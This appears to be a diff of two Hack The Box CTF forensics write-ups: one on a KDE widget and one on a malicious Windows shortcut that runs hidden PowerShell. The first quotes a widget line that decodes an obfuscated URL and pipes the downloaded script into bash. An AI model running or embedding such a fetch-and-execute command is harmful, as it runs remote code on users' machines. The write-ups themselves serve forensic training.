But what happens if a malicious actor creates a theme and publishes it without any vetting? The above theme did not have any malicious intentions (allegedly), just a versioning issue that created a weird command line that removed the home folder. Regardless, the issue here was the lack of vetting, might as well being a malicious command.
|
||||
|
||||
# Solution
|
||||
|
||||
Navigaing into the `plasmoids` folder and then into the `netspeedWidget` folder we find the `metadata.json` file and `contents` folder. After digging around we find these two lines in the `utils.js` file:
|
||||
|
||||
```js
|
||||
const NET_DATA_SOURCE =
|
||||
"awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev";
|
||||
|
||||
const PLASMOID_UPDATE_SOURCE =
|
||||
"UPDATE_URL=$(echo =0nbzAHc0g2XuRzYfRXMf9TIzNTbzgGdflnYfR2M3B3eCRFS | rev | base64 -d); curl $UPDATE_URL:1992/update_sh | bash"
|
||||
```
|
||||
|
||||
The first one aggregates all traffic from all network interfaces as so:
|
||||
|
||||
```bash
|
||||
$> awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev
|
||||
|
||||
lo,78647312,78647312
|
||||
wlo1,12638777329,734054168
|
||||
tailscale0,2408137,3591611
|
||||
vboxnet0,0,56383
|
||||
```
|
||||
|
||||
Then it's up to the widget to parse it furhter.
|
||||
|
||||
The next command seemingly defines an update URL and then curls some data from it and pipes it to bash!
|
||||
|
||||
Running the command that creates the URL reveals the flag!
|
||||
|
||||
```bash
|
||||
$> echo =0nbzAHc0g2XuRzYfRXMf9TIzNTbzgGdflnYfR2M3B3eCRFS | rev | base64 -d
|
||||
|
||||
HTB{REDACTED}
|
||||
```
|
||||
|
||||
In responde the KDE devs removed the Theme in Question, issued a [response](http://blog.davidedmundson.co.uk/blog/kde-store-content/) and urged users to report any wrongdoing in the KDE Store.
|
After Width: | Height: | Size: 45 KiB |
After Width: | Height: | Size: 22 KiB |
|
@ -0,0 +1,66 @@
|
|||

|
||||
|
||||
<img src='assets/htb.png' style='margin-left: 20px; zoom: 80%;' align=left /> <font size='10'>The Shortcut Haunting</font>
|
||||
|
||||
14<sup>th</sup> Oct 2024 / Document No. D24.102.XX
|
||||
|
||||
Prepared By: thewildspirit
|
||||
|
||||
Challenge Author(s): thewildspirit
|
||||
|
||||
Difficulty: <font color=Green>Very Easy</font>
|
||||
|
||||
Classification: Official
|
||||
|
||||
# Synopsis
|
||||
|
||||
* The Shortcut Haunting is a very easy forensics challenge involving finding the payload embedded in an lnk file and decoding it using base64.
|
||||
|
||||
## Description
|
||||
|
||||
* While going through your Halloween treats, a strange message appears: "Trick or Treat?" Curious, you click, and suddenly a mysterious .lnk file appears on your desktop. Now it's up to you to investigate this spooky shortcut and find out if it’s just a trick—or if it’s hiding a darker secret.
|
||||
|
||||
## Skills Required
|
||||
|
||||
* N/A
|
||||
|
||||
## Skills Learned
|
||||
|
||||
* Analyzing an lnk file using strings
|
||||
* Base64 decoding
|
||||
|
||||
# Enumeration
|
||||
|
||||
We are given the following file:
|
||||
|
||||
* **htboo.lnk**: `A Windows Shortcut that serves as a pointer to open a file, folder, or application`
|
||||
|
||||
When analyzing a malicious .lnk (shortcut) file, extracting the payload is crucial to understanding its operation. Using the strings -el command is an efficient way to do this because:
|
||||
|
||||
* **Unicode** Data: Many .lnk files store important information, such as file paths or payloads, in Unicode format. The -el option ensures you extract both ASCII and Unicode strings, which increases your chances of capturing hidden data that could reveal key details of the payload.
|
||||
|
||||
* **Readable Text**: strings help you quickly identify readable text within the .lnk file, such as the target path or any encoded commands. This can include file names, URLs, or command lines that the malicious .lnk is using to execute its payload.
|
||||
|
||||
* **Time Efficiency**: Instead of manually combing through the .lnk file's raw binary data, strings -el streamlines the process, allowing you to quickly extract the most relevant information, saving time and effort in forensic analysis.
|
||||
|
||||
In the context of this straightforward challenge, we will opt for a more efficient approach rather than manually dissecting the .lnk file format. Instead, we will proceed with the previously mentioned method.
|
||||
|
||||
# Solution
|
||||
|
||||
By utilizing the strings -el command, we will extract and inspect both ASCII and Unicode strings, allowing us to quickly identify relevant data and potential payloads embedded within the .lnk file.
|
||||
|
||||

|
||||
|
||||
The malicious file employs PowerShell to execute commands within the system.
|
||||
|
||||
* `WindowStyle hidden`: Runs the PowerShell window in hidden mode, meaning the user won't see a command prompt or PowerShell window pop up.
|
||||
|
||||
* `NoExit`: This prevents the PowerShell window from closing immediately after executing the command, which is helpful for ongoing processes but won't be visible in this case due to -WindowStyle hidden.
|
||||
|
||||
* `Command`: This specifies the PowerShell command to be executed.
|
||||
|
||||
* `[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($fko));`: This line decodes the Base64 string into human-readable text. When decoded, the string reveals a PowerShell command.
|
||||
|
||||
We can decode the strings using an online tool called [Cyber Chef](https://gchq.github.io/CyberChef/) and get the flag.
|
||||
|
||||

|
After Width: | Height: | Size: 45 KiB |
After Width: | Height: | Size: 103 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 140 KiB |